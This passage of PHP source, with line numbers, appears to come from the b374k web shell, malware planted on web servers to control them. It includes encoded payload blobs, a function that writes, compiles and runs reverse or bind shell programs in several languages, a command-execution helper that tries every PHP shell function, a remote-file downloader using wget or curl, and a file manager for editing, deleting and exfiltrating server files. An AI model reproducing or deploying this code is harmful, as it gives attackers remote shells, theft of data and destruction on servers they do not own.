 119 $s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
 120 // http://www.kryogenix.org/code/browser/sorttable/ - SortTable (c) Stuart Langridge
 121 $s_sortable_js = "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";
 122 // https://github.com/ded/domready - domready (c) Dustin Diaz
 123 $s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw==";
 124 
 125 // magic quote and shit :-p
 126 function clean($arr){
 127    $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
 128    if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
 129        foreach($arr as $k=>$v){
 130            $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
 131        }
 132    }
 133    return $arr;
 134 }
 135 // addslashes if on windows
 136 function adds($s_s){
 137    global $s_win;
 138    return ($s_win)? addslashes($s_s):$s_s;
 139 }
 140 // add slash to the end of given path
 141 function cp($s_p){
 142    global $s_win;
 143    if(@is_dir($s_p)){
 144        $s_x = DS;
 145        while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x);
 146        return ($s_win)? preg_replace("/\\\\+/is", "\\", $s_p.$s_x):$s_p.$s_x;
 147    }
 148    return $s_p;
 149 }
 150 // make link for folder $s_cwd and all of its parent folder
 151 function swd($s_p){
 152    global $s_self;
 153    $s_ps = explode(DS,$s_p);
 154    $s_pu = "";
 155    for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){
 156        $s_pz = "";
 157        for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS;
 158        $s_pu .= "<a href='".$s_self."cd=".$s_pz."'>".$s_ps[$s_i]." ".DS." </a>";
 159    }
 160    return trim($s_pu);
 161 }
 162 // htmlspecialchars
 163 function hss($s_t){
 164    return htmlspecialchars($s_t, 8);
 165 }
 166 // add quotes
 167 function pf($f){
 168    return "\"".$f."\"";
 169 }
 170 // replace spaces with underscore ( _ )
 171 function cs($s_t){
 172    return str_replace(" ", "_", $s_t);
 173 }
 174 // trim and urldecode
 175 function ss($s_t){
 176    return rawurldecode($s_t);
 177 }
 178 // return tag html for notif
 179 function notif($s){
 180    return "<div class='notif'>".$s."</div>";
 181 }
 182 // bind and reverse shell
 183 function rs($s_rstype,$s_rstarget,$s_rscode){
 184    // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
 185    $s_result = $s_fpath = "";
 186    $s_fc = gzinflate(base64_decode($s_rscode));
 187 
 188    $s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one";
 189    $s_errgcc = "Unable to compile using gcc";
 190    $s_errjavac = "Unable to compile using javac";
 191 
 192    $s_split = explode("_", $s_rstype);
 193    $s_method = $s_split[0];
 194    $s_lang = $s_split[1];
 195    if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){
 196        if($s_lang=="py") $s_runlang = "python";
 197        elseif($s_lang=="pl") $s_runlang = "perl";
 198        elseif($s_lang=="rb") $s_runlang = "ruby";
 199        elseif($s_lang=="js") $s_runlang = "node";
 200        $s_fpath = "b374k_rs.".$s_lang;
 201        if(@is_file($s_fpath)) unlink($s_fpath);
 202        if($s_file = fopen($s_fpath, "w")){
 203            fwrite($s_file, $s_fc);
 204            fclose($s_file);
 205            if(@is_file($s_fpath)){
 206                $s_result = exe("chmod +x ".$s_fpath);
 207                $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
 208            }
 209            else $s_result = $s_errperm;
 210        }
 211        else $s_result = $s_errperm;
 212    }
 213    elseif($s_lang=="c"){
 214        $s_fpath = "b374k_rs";
 215        if(@is_file($s_fpath)) unlink($s_fpath);
 216        if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
 217        if($s_file = fopen($s_fpath.".c", "w")){
 218            fwrite($s_file,$s_fc);
 219            fclose($s_file);
 220            if(@is_file($s_fpath.".c")){
 221                $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath);
 222                if(@is_file($s_fpath)){
 223                    $s_result = exe("chmod +x ".$s_fpath);
 224                    $s_result = exe("./".$s_fpath." ".$s_rstarget);
 225                }
 226                else $s_result = $s_errgcc;
 227            }
 228            else $s_result = $s_errperm;
 229        }
 230        else $s_result = $s_errperm;
 231    }
 232    elseif($s_lang=="win"){
 233        $s_fpath = "b374k_rs.exe";
 234        if(@is_file($s_fpath)) unlink($s_fpath);
 235        if($s_file = fopen($s_fpath,"w")){
 236            fwrite($s_file,$s_fc);
 237            fclose($s_file);
 238            if(@is_file($s_fpath)){
 239                $s_result = exe($s_fpath." ".$s_rstarget);
 240            }
 241            else $s_result = $s_errperm;
 242        }
 243        else $s_result = $s_errperm;
 244    }
 245    elseif($s_lang=="java"){
 246        $s_fpath = "b374k_rs";
 247        if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
 248        if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
 249        if($s_file = fopen($s_fpath.".java", "w")){
 250            fwrite($s_file,$s_fc);
 251            fclose($s_file);
 252            if(@is_file($s_fpath.".java")){
 253                $s_result = exe("javac ".$s_fpath.".java");
 254                if(@is_file($s_fpath.".class")){
 255                    $s_result = exe("java ".$s_fpath." ".$s_rstarget);
 256                }
 257                else $s_result = $s_errjavac;
 258            }
 259            else $s_result = $s_errperm;
 260        }
 261        else $s_result = $s_errperm;
 262    }
 263    elseif($s_lang=="php"){
 264        $s_result = eval("?>".$s_fc);
 265    }
 266 
 267    if(@is_file($s_fpath)) unlink($s_fpath);
 268    if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
 269    if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
 270    if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
 271    if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class");
 272 
 273    return $s_result;
 274 }
 275 function geol($str){
 276    $nl = PHP_EOL;
 277    if(preg_match("/\r\n/", $str, $r)) $nl = "\r\n";
 278    else{
 279        if(preg_match("/\n/", $str, $r)) $nl = "\n";
 280        elseif(preg_match("/\r/", $str, $r)) $nl = "\r";
 281    }
 282    return bin2hex($nl);
 283 }
 284 // format bit
 285 function ts($s_s){
 286    if($s_s<=0) return 0;
 287    $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
 288    $s_e = floor(log($s_s)/log(1024));
 289    return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
 290 }
 291 // get file size
 292 function gs($s_f){
 293    $s_s = @filesize($s_f);
 294    if($s_s !== false){
 295        if($s_s<=0) return 0;
 296        return ts($s_s);
 297    }
 298    else return "???";
 299 }
 300 // get file permissions
 301 function gp($s_f){
 302    if($s_m = @fileperms($s_f)){
 303        $s_p = 'u';
 304        if(($s_m & 0xC000) == 0xC000)$s_p = 's';
 305        elseif(($s_m & 0xA000) == 0xA000)$s_p = 'l';
 306        elseif(($s_m & 0x8000) == 0x8000)$s_p = '-';
 307        elseif(($s_m & 0x6000) == 0x6000)$s_p = 'b';
 308        elseif(($s_m & 0x4000) == 0x4000)$s_p = 'd';
 309        elseif(($s_m & 0x2000) == 0x2000)$s_p = 'c';
 310        elseif(($s_m & 0x1000) == 0x1000)$s_p = 'p';
 311        $s_p .= ($s_m & 00400)? 'r':'-';
 312        $s_p .= ($s_m & 00200)? 'w':'-';
 313        $s_p .= ($s_m & 00100)? 'x':'-';
 314        $s_p .= ($s_m & 00040)? 'r':'-';
 315        $s_p .= ($s_m & 00020)? 'w':'-';
 316        $s_p .= ($s_m & 00010)? 'x':'-';
 317        $s_p .= ($s_m & 00004)? 'r':'-';
 318        $s_p .= ($s_m & 00002)? 'w':'-';
 319        $s_p .= ($s_m & 00001)? 'x':'-';
 320        return $s_p;
 321    }
 322    else return "???????????";
 323 }
 324 // shell command
 325 function exe($s_c){
 326    $s_out = "";
 327    $s_c = $s_c." 2>&1";
 328 
 329    if(is_callable('system')) {
 330        ob_start();
 331        @system($s_c);
 332        $s_out = ob_get_contents();
 333        ob_end_clean();
 334        if(!empty($s_out)) return $s_out;
 335    }
 336    if(is_callable('shell_exec')){
 337        $s_out = @shell_exec($s_c);
 338        if(!empty($s_out)) return $s_out;
 339    }
 340    if(is_callable('exec')) {
 341        @exec($s_c,$s_r);
 342        if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s;
 343        if(!empty($s_out)) return $s_out;
 344    }
 345    if(is_callable('passthru')) {
 346        ob_start();
 347        @passthru($s_c);
 348        $s_out = ob_get_contents();
 349        ob_end_clean();
 350        if(!empty($s_out)) return $s_out;
 351    }
 352    if(is_callable('proc_open')) {
 353        $s_descriptorspec = array(
 354            0 => array("pipe", "r"),
 355            1 => array("pipe", "w"),
 356            2 => array("pipe", "w"));
 357        $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
 358        if (is_resource($s_proc)) {
 359            while($s_si = fgets($s_pipes[1])) {
 360                if(!empty($s_si)) $s_out .= $s_si;
 361            }
 362            while($s_se = fgets($s_pipes[2])) {
 363                if(!empty($s_se)) $s_out .= $s_se;
 364            }
 365        }
 366        @proc_close($s_proc);
 367        if(!empty($s_out)) return $s_out;
 368    }
 369    if(is_callable('popen')){
 370        $s_f = @popen($s_c, 'r');
 371        if($s_f){
 372            while(!feof($s_f)){
 373                $s_out .= fread($s_f, 2096);
 374            }
 375            pclose($s_f);
 376        }
 377        if(!empty($s_out)) return $s_out;
 378    }
 379    return "";
 380 }
 381 // delete dir and all of its content (no warning !) xp
 382 function rmdirs($s){
 383    $s = (substr($s,-1)=='/')? $s:$s.'/';
 384    if($dh = opendir($s)){
 385        while(($f = readdir($dh))!==false){
 386            if(($f!='.')&&($f!='..')){
 387                $f = $s.$f;
 388                if(@is_dir($f)) rmdirs($f);
 389                else @unlink($f);
 390            }
 391        }
 392        closedir($dh);
 393        @rmdir($s);
 394    }
 395 }
 396 function copys($s,$d,$c=0){
 397    if($dh = opendir($s)){
 398        if(!@is_dir($d)) @mkdir($d);
 399        while(($f = readdir($dh))!==false){
 400            if(($f!='.')&&($f!='..')){
 401                if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f);
 402                else copy($s.DS.$f,$d.DS.$f);
 403            }
 404        }
 405        closedir($dh);
 406    }
 407 }
 408 // get array of all files from given directory
 409 function getallfiles($s_dir){
 410     $s_f = glob($s_dir.'*');
 411    for($s_i = 0; $s_i<count($s_f); $s_i++){
 412        if(@is_dir($s_f[$s_i])){
 413            $s_a = glob($s_f[$s_i].DS.'*');
 414            if(is_array($s_f) && is_array($s_a)) $s_f = array_merge($s_f, $s_a);
 415        }
 416    }
 417     return $s_f;
 418 }
 419 // download file from internet
 420 function dlfile($s_u,$s_p){
 421    global $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
 422 
 423    if(!preg_match("/[a-z]+:\/\/.+/",$s_u)) return false;
 424    $s_n = basename($s_u);
 425 
 426    // try using php functions
 427    if($s_t = @file_get_contents($s_u)){
 428 
 429        if(@is_file($s_p)) unlink($s_p);
 430        if($s_f = fopen($s_p,"w")){
 431            fwrite($s_f, $s_t);
 432            fclose($s_f);
 433            if(@is_file($s_p)) return true;
 434        }
 435    }
 436    // using wget
 437    if($s_wget){
 438        $buff = exe("wget ".$s_u." -O ".$s_p);
 439        if(@is_file($s_p)) return true;
 440    }
 441    // try using curl
 442    if($s_curl){
 443        $buff = exe("curl ".$s_u." -o ".$s_p);
 444        if(@is_file($s_p)) return true;
 445    }
 446    // try using lynx
 447    if($s_lynx){
 448        $buff = exe("lynx -source ".$s_u." > ".$s_p);
 449        if(@is_file($s_p)) return true;
 450    }
 451    // try using lwp-download
 452    if($s_lwpdownload){
 453        $buff = exe("lwp-download ".$s_u." ".$s_p);
 454        if(@is_file($s_p)) return true;
 455    }
 456    return false;
 457 }
 458 // find writable dir
 459 function get_writabledir(){
 460    if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){
 461        if(@is_writable("/tmp")) $s_d = "/tmp/";
 462        else if(@is_writable(".")) $s_d = ".".DS;
 463    }
 464    return cp($s_d);
 465 }
 466 // zip function
 467 function zip($s_srcarr, $s_dest){
 468    if(!extension_loaded('zip')) return false;
 469    if(class_exists("ZipArchive")){
 470        $s_zip = new ZipArchive();
 471        if(!$s_zip->open($s_dest, 1)) return false;
 472 
 473        if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr);
 474        foreach($s_srcarr as $s_src){
 475            $s_src = str_replace('\\', '/', $s_src);
 476            if(@is_dir($s_src)){
 477                $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
 478                foreach($s_files as $s_file){
 479                    $s_file = str_replace('\\', '/', $s_file);
 480                    if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue;
 481                    if (@is_dir($s_file)===true)    $s_zip->addEmptyDir(str_replace($s_src.'/', '', $s_file.'/'));
 482                    else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.'/', '', $s_file), @file_get_contents($s_file));
 483                }
 484            }
 485            elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @file_get_contents($s_src));
 486        }
 487        $s_zip->close();
 488        return true;
 489    }
 490 }
 491 // check shell permission to access program
 492 function check_access($s_lang){
 493    $s_s = false;
 494    $ver = "";
 495    switch($s_lang){
 496        case "python":
 497            $s_cek = strtolower(exe("python -h"));
 498            if(strpos($s_cek,"usage")!==false) $ver = exe("python -V");
 499            break;
 500        case "perl":
 501            $s_cek = strtolower(exe("perl -h"));
 502            if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\"");
 503            break;
 504        case "ruby":
 505            $s_cek = strtolower(exe("ruby -h"));
 506            if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v");
 507            break;
 508        case "node":
 509            $s_cek = strtolower(exe("node -h"));
 510            if(strpos($s_cek,"usage")!==false) $ver = exe("node -v");
 511            break;
 512        case "gcc":
 513            $s_cek = strtolower(exe("gcc --help"));
 514            if(strpos($s_cek,"usage")!==false){
 515                $s_ver = exe("gcc --version");
 516                $s_ver = explode("\n",$s_ver);
 517                if(count($s_ver)>0) $ver = $s_ver[0];
 518            }
 519            break;
 520        case "tar":
 521            $s_cek = strtolower(exe("tar --help"));
 522            if(strpos($s_cek,"usage")!==false){
 523                $s_ver = exe("tar --version");
 524                $s_ver = explode("\n",$s_ver);
 525                if(count($s_ver)>0) $ver = $s_ver[0];
 526            }
 527            break;
 528        case "java":
 529            $s_cek = strtolower(exe("javac --help"));
 530            if(strpos($s_cek,"usage")!==false){
 531                $s_cek = strtolower(exe("java -h"));
 532                if(strpos($s_cek,"usage")!==false) $ver = str_replace("\n", ", ", exe("java -version"));
 533            }
 534            break;
 535        case "wget":
 536            $s_cek = strtolower(exe("wget --help"));
 537            if(strpos($s_cek,"usage")!==false){
 538                $s_ver = exe("wget --version");
 539                $s_ver = explode("\n",$s_ver);
 540                if(count($s_ver)>0) $ver = $s_ver[0];
 541            }
 542            break;
 543        case "lwpdownload":
 544            $s_cek = strtolower(exe("lwp-download --help"));
 545            if(strpos($s_cek,"usage")!==false){
 546                $s_ver = exe("lwp-download --version");
 547                $s_ver = explode("\n",$s_ver);
 548                if(count($s_ver)>0) $ver = $s_ver[0];
 549            }
 550            break;
 551        case "lynx":
 552            $s_cek = strtolower(exe("lynx --help"));
 553            if(strpos($s_cek,"usage")!==false){
 554                $s_ver = exe("lynx -version");
 555                $s_ver = explode("\n",$s_ver);
 556                if(count($s_ver)>0) $ver = $s_ver[0];
 557            }
 558            break;
 559        case "curl":
 560            $s_cek = strtolower(exe("curl --help"));
 561            if(strpos($s_cek,"usage")!==false){
 562                $s_ver = exe("curl --version");
 563                $s_ver = explode("\n",$s_ver);
 564                if(count($s_ver)>0) $ver = $s_ver[0];
 565            }
 566            break;
 567        default:
 568            return false;
 569    }
 570    if(!empty($ver)) $s_s = $ver;
 571    return $s_s;
 572 }
 573 // find available archiver
 574 function get_archiver_available(){
 575    global $s_self, $s_tar;
 576 
 577    $s_dlfile = "";
 578    $s_avail_arc = array("raw" => "raw");
 579 
 580    if(class_exists("ZipArchive")) $s_avail_arc["ziparchive"] = "zip";
 581    if($s_tar){
 582        $s_avail_arc["tar"] = "tar";
 583        $s_avail_arc["targz"] = "tar.gz";
 584    }
 585 
 586    $s_option_arc = "";
 587    foreach($s_avail_arc as $s_t=>$s_u) $s_option_arc .= "<option value=\"".$s_t."\">".$s_u."</option>";
 588 
 589    $s_dlfile .= "<form action='".$s_self."' method='post'>
 590               <select onchange='download(this);' name='dltype' class='inputzbut' style='width:80px;height:20px;'>
 591               <option value='' disabled selected>Download</option>
 592               ".$s_option_arc."
 593               </select>
 594               <input type='hidden' name='dlpath' value='__dlpath__' />
 595               </form>";
 596    return $s_dlfile;
 597 }
 598 // explorer, return a table of given dir
 599 function showdir($s_cwd){
 600    global $s_self, $s_win, $s_posix, $s_tar;
 601 
 602    $s_fname = $s_dname = array();
 603    $s_total_file = $s_total_dir = 0;
 604 
 605    if($s_dh = @opendir($s_cwd)){
 606        while($s_file = @readdir($s_dh)){
 607            if(@is_dir($s_file)) $s_dname[] = $s_file;
 608            elseif(@is_file($s_file))$s_fname[] = $s_file;
 609        }
 610        closedir($s_dh);
 611    }
 612 
 613    natcasesort($s_fname);
 614    natcasesort($s_dname);
 615    $s_list = array_merge($s_dname,$s_fname);
 616 
 617    if($s_win){
 618        //check if this root directory
 619        chdir("..");
 620        if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, ".");
 621        chdir($s_cwd);
 622    }
 623 
 624    $s_path = explode(DS,$s_cwd);
 625    $s_tree = sizeof($s_path);
 626 
 627    $s_parent = "";
 628    if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS;
 629    else $s_parent = $s_cwd;
 630 
 631    $s_owner_html = (!$s_win && $s_posix)? "<th style='width:140px;min-width:140px;'>owner:group</th>":"";
 632    $s_colspan = (!$s_win && $s_posix)? "5" : "4";
 633    $s_buff = "
 634   <table class='explore sortable'><thead>
 635   <tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>".$s_owner_html."<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>";
 636 
 637    $s_arc = get_archiver_available();
 638    foreach($s_list as $s_l){
 639        if(!$s_win && $s_posix){
 640            $s_name = posix_getpwuid(fileowner($s_l));
 641            $s_group = posix_getgrgid(filegroup($s_l));
 642            $s_owner = $s_name['name']."<span class='gaya'>:</span>".$s_group['name'];
 643            $s_owner_html = "<td style='text-align:center;'>".$s_owner."</td>";
 644        }
 645 
 646        $s_lhref = $s_lname = $s_laction = "";
 647        if(@is_dir($s_l)){
 648            if($s_l=="."){
 649                $s_lhref = $s_self."cd=".$s_cwd;
 650                $s_lsize = "LINK";
 651                $s_laction = "
 652               <span id='titik1'>
 653                   <a href='".$s_self."cd=".$s_cwd."&find=".$s_cwd."'>find</a> | <a href='".$s_self."cd=".$s_cwd."&x=upload'>upl</a> | <a href='".$s_self."cd=".$s_cwd."&edit=".$s_cwd."newfile_1&new=yes'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a>
 654               </span>
 655               <div id='titik1_form'></div>";
 656            }
 657            elseif($s_l==".."){
 658                $s_lhref = $s_self."cd=".$s_parent;
 659                $s_lsize = "LINK";
 660                $s_laction = "
 661               <span id='titik2'>
 662                   <a href='".$s_self."cd=".$s_parent."&find=".$s_parent."'>find</a> | <a href='".$s_self."cd=".$s_parent."&x=upload'>upl</a> | <a href='".$s_self."cd=".$s_parent."&edit=".$s_parent."newfile_1&new=yes'>+file</a> | <a href=\"javascript:tukar('titik2','".adds($s_parent)."', 'mkdir','newfolder_1');\">+dir</a>
 663               </span>
 664               <div id='titik2_form'></div>";
 665            }
 666            else{
 667                $s_lhref = $s_self."cd=".$s_cwd.$s_l.DS;
 668                $s_lsize = "DIR";
 669                $s_laction = "
 670               <span id='".cs($s_l)."_'>
 671                   <a href='".$s_self."cd=".$s_cwd.$s_l.DS."&find=".$s_cwd.$s_l.DS."'>find</a> | <a href='".$s_self."cd=".$s_cwd.$s_l.DS."&x=upload'>upl</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".$s_l."','".$s_l."');\">ren</a> | <a href='".$s_self."cd=".$s_cwd."&del=".$s_l."'>del</a>
 672               </span>
 673               <div id='".cs($s_l)."__form'></div>";
 674                $s_total_dir++;
 675            }
 676            $s_lname = "[ ".$s_l." ]";
 677            $s_lsizetit = "0";
 678            $s_lnametit = "dir : ".$s_l;
 679        }
 680        else{
 681            $s_lhref = $s_self."view=".$s_cwd.$s_l;
 682            $s_lname = $s_l;
 683            $s_lsize = gs($s_l);
 684            $s_lsizetit = @filesize($s_l);
 685            $s_lnametit = "file : ".$s_l;
 686            $s_laction = "
 687           <span id='".cs($s_l)."_'>
 688               <a href='".$s_self."edit=".$s_cwd.$s_l."'>edit</a> | <a href='".$s_self."hexedit=".$s_cwd.$s_l."'>hex</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".$s_l."','".$s_l."');\">ren</a> | <a href='".$s_self."del=".$s_cwd.$s_l."'>del</a> | <a href='".$s_self."dl=".$s_cwd.$s_l."'>dl</a>
 689           </span>
 690           <div id='".cs($s_l)."__form'></div>";
 691            $s_total_file++;
 692        }
 693 
 694        $s_cboxval = $s_cwd.$s_l;
 695        if($s_l=='.') $s_cboxval = $s_cwd;
 696        if($s_l=='..') $s_cboxval = $s_parent;
 697 
 698        $s_cboxes_id = substr(md5($s_lhref),0,8);
 699        $s_cboxes = "<input id='".$s_cboxes_id."' name='cbox' value='".$s_cboxval."' type='checkbox' class='css-checkbox' onchange='hilite(this);' />
